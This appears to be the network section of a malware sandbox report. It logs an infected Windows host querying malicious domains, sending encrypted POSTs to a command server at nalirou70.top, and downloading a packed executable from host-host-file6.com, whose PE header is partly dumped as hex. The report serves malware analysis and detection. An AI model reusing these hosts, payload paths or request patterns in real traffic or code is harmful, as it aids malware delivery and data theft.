Nov 9, 2021 22:22:07.109397888 CET	53	59260	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:08.424690008 CET	49944	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:08.442487001 CET	53	49944	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:09.867391109 CET	63300	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:10.184499979 CET	53	63300	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:26.692532063 CET	51275	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:26.726464987 CET	53	51275	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:26.730770111 CET	63492	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:26.759207964 CET	53	63492	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 9, 2021 22:20:48.181229115 CET	192.168.2.4	8.8.8.8	0x306b	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:49.766926050 CET	192.168.2.4	8.8.8.8	0x3d48	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:51.091515064 CET	192.168.2.4	8.8.8.8	0x3cc4	Standard query (0)	privacytoolzforyou7000.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:56.012543917 CET	192.168.2.4	8.8.8.8	0x2a97	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:57.792776108 CET	192.168.2.4	8.8.8.8	0xcb34	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:04.161433935 CET	192.168.2.4	8.8.8.8	0x69ae	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:05.779247046 CET	192.168.2.4	8.8.8.8	0x4ba7	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:07.132746935 CET	192.168.2.4	8.8.8.8	0xf8d6	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:08.465326071 CET	192.168.2.4	8.8.8.8	0x8212	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:10.102009058 CET	192.168.2.4	8.8.8.8	0xf495	Standard query (0)	host-host-file6.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:21.094811916 CET	192.168.2.4	8.8.8.8	0x7936	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:22.480365992 CET	192.168.2.4	8.8.8.8	0x28bf	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:23.795788050 CET	192.168.2.4	8.8.8.8	0x2270	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:25.097748995 CET	192.168.2.4	8.8.8.8	0xf378	Standard query (0)	host-host-file6.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:30.161583900 CET	192.168.2.4	8.8.8.8	0x89e0	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:31.479443073 CET	192.168.2.4	8.8.8.8	0x66	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:32.814738035 CET	192.168.2.4	8.8.8.8	0x5cbf	Standard query (0)	host-host-file6.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:37.624569893 CET	192.168.2.4	8.8.8.8	0x69b	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:38.948087931 CET	192.168.2.4	8.8.8.8	0xf3e5	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:44.945497036 CET	192.168.2.4	8.8.8.8	0x95af	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:46.255127907 CET	192.168.2.4	8.8.8.8	0x1be	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:47.570796013 CET	192.168.2.4	8.8.8.8	0x12f7	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.266598940 CET	192.168.2.4	8.8.8.8	0xb21b	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.878771067 CET	192.168.2.4	8.8.8.8	0xf5d1	Standard query (0)	hajezey10.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:56.009752035 CET	192.168.2.4	8.8.8.8	0x67a4	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:57.334422112 CET	192.168.2.4	8.8.8.8	0xedc5	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:58.635862112 CET	192.168.2.4	8.8.8.8	0x66fc	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:59.960345030 CET	192.168.2.4	8.8.8.8	0xbbb2	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.274131060 CET	192.168.2.4	8.8.8.8	0xb296	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:03.175628901 CET	192.168.2.4	8.8.8.8	0x4146	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:04.478583097 CET	192.168.2.4	8.8.8.8	0x22c0	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:05.538686991 CET	192.168.2.4	8.8.8.8	0x54d1	Standard query (0)	nusurtal4f.net	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:05.796813965 CET	192.168.2.4	8.8.8.8	0xb7b9	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:07.090008974 CET	192.168.2.4	8.8.8.8	0xcf7f	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:08.424690008 CET	192.168.2.4	8.8.8.8	0xab01	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:09.867391109 CET	192.168.2.4	8.8.8.8	0xd4ce	Standard query (0)	host-host-file6.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:26.692532063 CET	192.168.2.4	8.8.8.8	0x9462	Standard query (0)	netomishnetojuk.net	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:26.730770111 CET	192.168.2.4	8.8.8.8	0x80a6	Standard query (0)	escalivrouter.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Nov 9, 2021 22:20:48.469034910 CET	8.8.8.8	192.168.2.4	0x306b	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:49.786566019 CET	8.8.8.8	192.168.2.4	0x3d48	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:51.110956907 CET	8.8.8.8	192.168.2.4	0x3cc4	No error (0)	privacytoolzforyou7000.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:56.360290051 CET	8.8.8.8	192.168.2.4	0x2a97	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:58.143651009 CET	8.8.8.8	192.168.2.4	0xcb34	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:04.480629921 CET	8.8.8.8	192.168.2.4	0x69ae	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:05.799434900 CET	8.8.8.8	192.168.2.4	0x4ba7	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:07.150015116 CET	8.8.8.8	192.168.2.4	0xf8d6	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:08.810220003 CET	8.8.8.8	192.168.2.4	0x8212	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:10.121613979 CET	8.8.8.8	192.168.2.4	0xf495	No error (0)	host-host-file6.com	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:21.114425898 CET	8.8.8.8	192.168.2.4	0x7936	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:22.499907017 CET	8.8.8.8	192.168.2.4	0x28bf	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:23.815069914 CET	8.8.8.8	192.168.2.4	0x2270	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:25.447969913 CET	8.8.8.8	192.168.2.4	0xf378	No error (0)	host-host-file6.com	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:30.179389954 CET	8.8.8.8	192.168.2.4	0x89e0	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:31.498986959 CET	8.8.8.8	192.168.2.4	0x66	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:32.834692001 CET	8.8.8.8	192.168.2.4	0x5cbf	No error (0)	host-host-file6.com	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:37.643862963 CET	8.8.8.8	192.168.2.4	0x69b	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:38.967904091 CET	8.8.8.8	192.168.2.4	0xf3e5	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:44.965086937 CET	8.8.8.8	192.168.2.4	0x95af	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:46.274498940 CET	8.8.8.8	192.168.2.4	0x1be	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:47.590293884 CET	8.8.8.8	192.168.2.4	0x12f7	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.290569067 CET	8.8.8.8	192.168.2.4	0xb21b	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.290569067 CET	8.8.8.8	192.168.2.4	0xb21b	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.290569067 CET	8.8.8.8	192.168.2.4	0xb21b	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.290569067 CET	8.8.8.8	192.168.2.4	0xb21b	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.290569067 CET	8.8.8.8	192.168.2.4	0xb21b	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:49.248229027 CET	8.8.8.8	192.168.2.4	0xf5d1	No error (0)	hajezey10.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:56.027358055 CET	8.8.8.8	192.168.2.4	0x67a4	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:57.353862047 CET	8.8.8.8	192.168.2.4	0xedc5	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:58.655211926 CET	8.8.8.8	192.168.2.4	0x66fc	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:59.979754925 CET	8.8.8.8	192.168.2.4	0xbbb2	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.295880079 CET	8.8.8.8	192.168.2.4	0xb296	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.295880079 CET	8.8.8.8	192.168.2.4	0xb296	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.295880079 CET	8.8.8.8	192.168.2.4	0xb296	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.295880079 CET	8.8.8.8	192.168.2.4	0xb296	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.295880079 CET	8.8.8.8	192.168.2.4	0xb296	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:03.194483042 CET	8.8.8.8	192.168.2.4	0x4146	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:04.496556997 CET	8.8.8.8	192.168.2.4	0x22c0	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:05.571943998 CET	8.8.8.8	192.168.2.4	0x54d1	No error (0)	nusurtal4f.net	45.141.84.21	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:05.816350937 CET	8.8.8.8	192.168.2.4	0xb7b9	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:07.109397888 CET	8.8.8.8	192.168.2.4	0xcf7f	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:08.442487001 CET	8.8.8.8	192.168.2.4	0xab01	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:10.184499979 CET	8.8.8.8	192.168.2.4	0xd4ce	No error (0)	host-host-file6.com	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:26.759207964 CET	8.8.8.8	192.168.2.4	0x80a6	No error (0)	escalivrouter.net	192.42.116.41	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

pstanat.net

nalirou70.top

xyauqxpv.com

privacytoolzforyou7000.top

ruebf.org

vhiaeb.net

jjvrsspwd.com

hjuvthale.net

vhupvvm.org

lnvjmhbadt.net

host-host-file6.com

ssyqxqlwo.com

ksjdtko.org

rjave.net

fkqdw.com

vhlqong.com

yvlvga.org

tqhblvfem.net

rykrbxyl.net

oaayoceae.org

ukalfymca.com

hajezey10.top

muqembbjlb.net

crrgldha.com

hbrlkj.net

lvejmcuwnq.net

rvlwdspfo.org

kcurrvlwmx.net

ykpbkuficw.com

bfwrlwg.net

umqsuuguwn.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49868	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49871	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49794	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:07.444571972 CET	1786	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vhupvvm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 252 Host: nalirou70.top
Nov 9, 2021 22:21:07.444600105 CET	1786	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 15 c5 d5 01 Data Ascii: `K2wF0Gj[lwmwu$f]dSgn-e\>6W;GmnyE2MPT_HYj]G gVX'l1a{}R[lrl&w89Cyen!WpQG},sOB'I
Nov 9, 2021 22:21:08.422864914 CET	1874	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49805	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:09.104881048 CET	2106	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lnvjmhbadt.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: nalirou70.top
Nov 9, 2021 22:21:09.106617928 CET	2106	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 39 82 bf 35 Data Ascii: `K2wF0Gj[lwmwu$f]d95&t1j^C\O` '_M}yrSJ?y$.k[Z$.W-</OFoR,X1e%G\|ka>" iPB.wBi32\|Kfc}}9k~uz`=
Nov 9, 2021 22:21:10.089358091 CET	2324	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 00 48 eb ac e3 1e bb 52 df 46 d2 f7 21 80 2a 80 ae 95 50 2a f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eHRF!P~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49813	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:10.422574043 CET	2330	OUT	GET /files/5675_1636449658_2701.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-host-file6.com
Nov 9, 2021 22:21:11.271085024 CET	2348	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Tue, 09 Nov 2021 09:20:58 GMT ETag: "2a16d8-5d057a09c5eba" Accept-Ranges: bytes Content-Length: 2758360 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 ae 4c 1d b2 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 18 03 00 00 8e 0a 00 00 00 00 00 08 10 48 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 6f 00 00 04 00 00 5e 9a 2a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a c0 08 00 50 00 00 00 00 c0 69 00 6f 43 05 00 00 00 00 00 00 00 00 00 00 fe 29 00 d8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 20 03 00 00 20 00 00 00 90 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 68 4e 05 00 00 40 03 00 00 04 01 00 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 0c 00 00 00 00 a0 08 00 00 02 00 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 00 20 00 00 00 c0 08 00 00 02 00 00 00 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7e c2 a9 5c 31 38 34 37 00 20 00 00 00 e0 08 00 00 08 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 80 3e 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 fa 21 00 00 80 47 00 00 fa 21 00 00 a4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 7e c2 a9 5c 31 38 34 37 50 0c 00 00 00 80 69 00 00 0e 00 00 00 9e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 7e c2 a9 5c 31 38 34 37 50 0c 00 00 00 a0 69 00 00 0e 00 00 00 ac 24 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 6f 43 05 00 00 c0 69 00 00 44 05 00 00 ba 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL0H @@ o^*@:PioC) ` hN@@@ @@.idata @~\1847 @@.themida>`.boot!G!``~\1847Pi$ `~\1847Pi$ `.rsrcoCiD$@@
Nov 9, 2021 22:21:11.271135092 CET	2349	IN	Data Raw: 00 00 82 67 09 e1 b2 30 1c a4 f9 31 62 db c3 0b 94 df 41 43 12 da fe 8d 8d dc f8 60 34 94 9e 90 71 a0 67 30 b3 f1 92 79 8a 76 4b fb b3 ef 87 a2 59 e8 cf 1b 55 14 c6 a2 61 f7 e5 69 69 d3 98 22 d4 d5 ea 35 59 f9 15 a2 5c 9b 8d 5c d4 e2 ed 57 2f c9 Data Ascii: g01bAC`4qg0yvKYUaii"5Y\\W/^g7~}e}\|tWL}*8B_Ei0IR@OiY(E_~}b?y`][SR8t^dHz\|t@TWC`[4]i"
Nov 9, 2021 22:21:11.271179914 CET	2351	IN	Data Raw: 2f 74 f7 b9 cc 81 2c ed e6 81 c1 d8 64 c0 0b ea 81 83 60 dc 72 de 40 af ea 75 78 a5 f4 7e fe e0 fe 49 10 c9 89 a4 b3 71 ee bc 1b e7 84 cd f9 e3 fa a8 d9 86 f4 35 61 da a5 76 72 c6 a3 81 63 11 b5 8e 32 f9 e6 c7 b8 6d c1 51 58 1b a5 81 69 3d 12 74 Data Ascii: /t,d`r@ux~Iq5avrc2mQXi=tz@'!stgXacf#0k!x.sWyj^+Xna17}lmuUEt ;[e[=@f_Ldf-s;dPT R,
Nov 9, 2021 22:21:11.271223068 CET	2352	IN	Data Raw: 76 f0 9a 6d de 01 53 c9 65 ee 01 01 df a3 dd f3 25 e9 95 80 8f e2 87 fb 2d 55 69 c0 bd d3 72 35 06 e1 ea 87 16 95 7a 32 a6 2f 48 3a 28 79 fa 10 52 2c 17 f1 db 22 da bc d5 90 39 78 c8 ba 73 85 a1 86 e4 6f e8 1a 74 fe 78 7a 68 de ef c9 59 58 ef 8b Data Ascii: vmSe%-Uir5z2/H:(yR,"9xsotxzhYXG9X<(m%Q8%umW6v^Yt\|Ok!tII'V(.@h)O0/w$WA\Kl6 Znh1SWZCI7;m
Nov 9, 2021 22:21:11.271265984 CET	2353	IN	Data Raw: b5 70 ab 7a 5b 61 c2 a5 9e 8d c6 77 96 c6 24 12 b3 ae 50 3c 0a 9e 5d 8b b6 17 2d 80 ae 80 e6 e2 7a f9 7a fc a6 f7 3b 1a 06 3e 65 da 27 10 77 c6 db 32 01 0d f6 2a d0 78 e1 6c 64 33 39 c2 6e 93 f1 67 bb 67 f8 62 04 c5 ae ad c1 d0 86 7b 8b 44 38 c4 Data Ascii: pz[aw$P<]-zz;>e'w2xld39nggb{D8dgo;^ !hn~gkCxS?LaM8piQp+l5E'>gXw$tyzQa0-s\|RWOlrR=)u):>qR D%pgZAU
Nov 9, 2021 22:21:11.271317005 CET	2355	IN	Data Raw: c2 1a bd 8d ef 49 dc 23 13 0b eb bf 2e db 43 f7 05 e0 67 02 b8 48 73 42 23 f5 94 4a e7 eb 99 59 e7 ee 18 73 06 08 3c ac 08 36 44 31 32 fa 59 ad d2 3f 59 b8 89 1f b8 31 fa da a8 45 5e 30 76 ef 3d f0 1e 79 e9 a4 0e b9 72 a6 81 fa dd 20 92 bf c4 83 Data Ascii: I#.CgHsB#JYs<6D12Y?Y1E^0v=yr z?VFgm (Uy7lj wc3KfNWtF4b\|*=^9e#osdl;KtPSJ2zJL}SBLz_`J+@8W3G,`fhillU
Nov 9, 2021 22:21:11.271369934 CET	2356	IN	Data Raw: a2 10 5b 01 7f b8 26 0c ea 74 74 36 75 6a c6 41 47 b6 60 6b f1 50 8e 60 5d 81 5e 14 e9 bc 94 6f 7d ac 35 09 81 67 8c f0 84 6d 30 a4 dc 95 b7 68 c5 9f 0b 5e b6 9a 58 da f4 7d c1 4d e1 c1 51 05 6e 1e 95 3f ef 9c 1f 6b f3 fb 1a 38 ac 71 1c cc 70 67 Data Ascii: [&tt6ujAG`kP`]^o}5gm0h^X}MQn?k8qpg:Y0%.g6ooyz]mqg#G6i+~m+X3w;Hj_lXWfx do(g>-ayMju<wU
Nov 9, 2021 22:21:11.271428108 CET	2358	IN	Data Raw: 1a e1 9c 5c c5 46 9f c2 28 a7 49 13 9c 1b 50 4c e8 d0 9f 37 34 68 2d 6c 68 f8 3f 38 67 5f 10 9e ea 20 9a 0d 86 29 88 f8 02 c2 ab 6e 7a bb e3 d4 e3 f2 3a 7b 17 ef e4 bb 43 92 29 d7 45 53 ca 25 ff d4 3a a9 fb 51 8e 5c d2 57 03 30 66 6f df 34 62 ab Data Ascii: \F(IPL74h-lh?8g_ )nz:{C)ES%:Q\W0fo4bZF4Z5gvWf,@0;kqXN\90]-&o <m2Ocb't?PP/=jZ>wyn=P3efgy,eP^uTkpi7\|i0WRm*+hj
Nov 9, 2021 22:21:11.271469116 CET	2359	IN	Data Raw: 40 d8 46 53 2f ff ab d7 e3 31 78 ba 52 3f 94 ea 12 ec 82 ee 8a 75 0f 56 fa 87 82 63 f2 e7 8c 4b 09 d8 57 91 0c fb 54 c3 52 ea 7a e2 72 f3 ee b7 bb d3 eb 53 65 93 f0 59 99 8b 68 54 52 11 95 42 aa 58 26 55 6e c7 25 3c e2 f9 93 16 d1 5e 5b d5 9e 13 Data Ascii: @FS/1xR?uVcKWTRzrSeYhTRBX&Un%<^[8?k/mZ?Xm8(OsNBnzV70h9(Q Xrv m/%+K'ES\|+K5#>sVBKR orVJ;,cnh
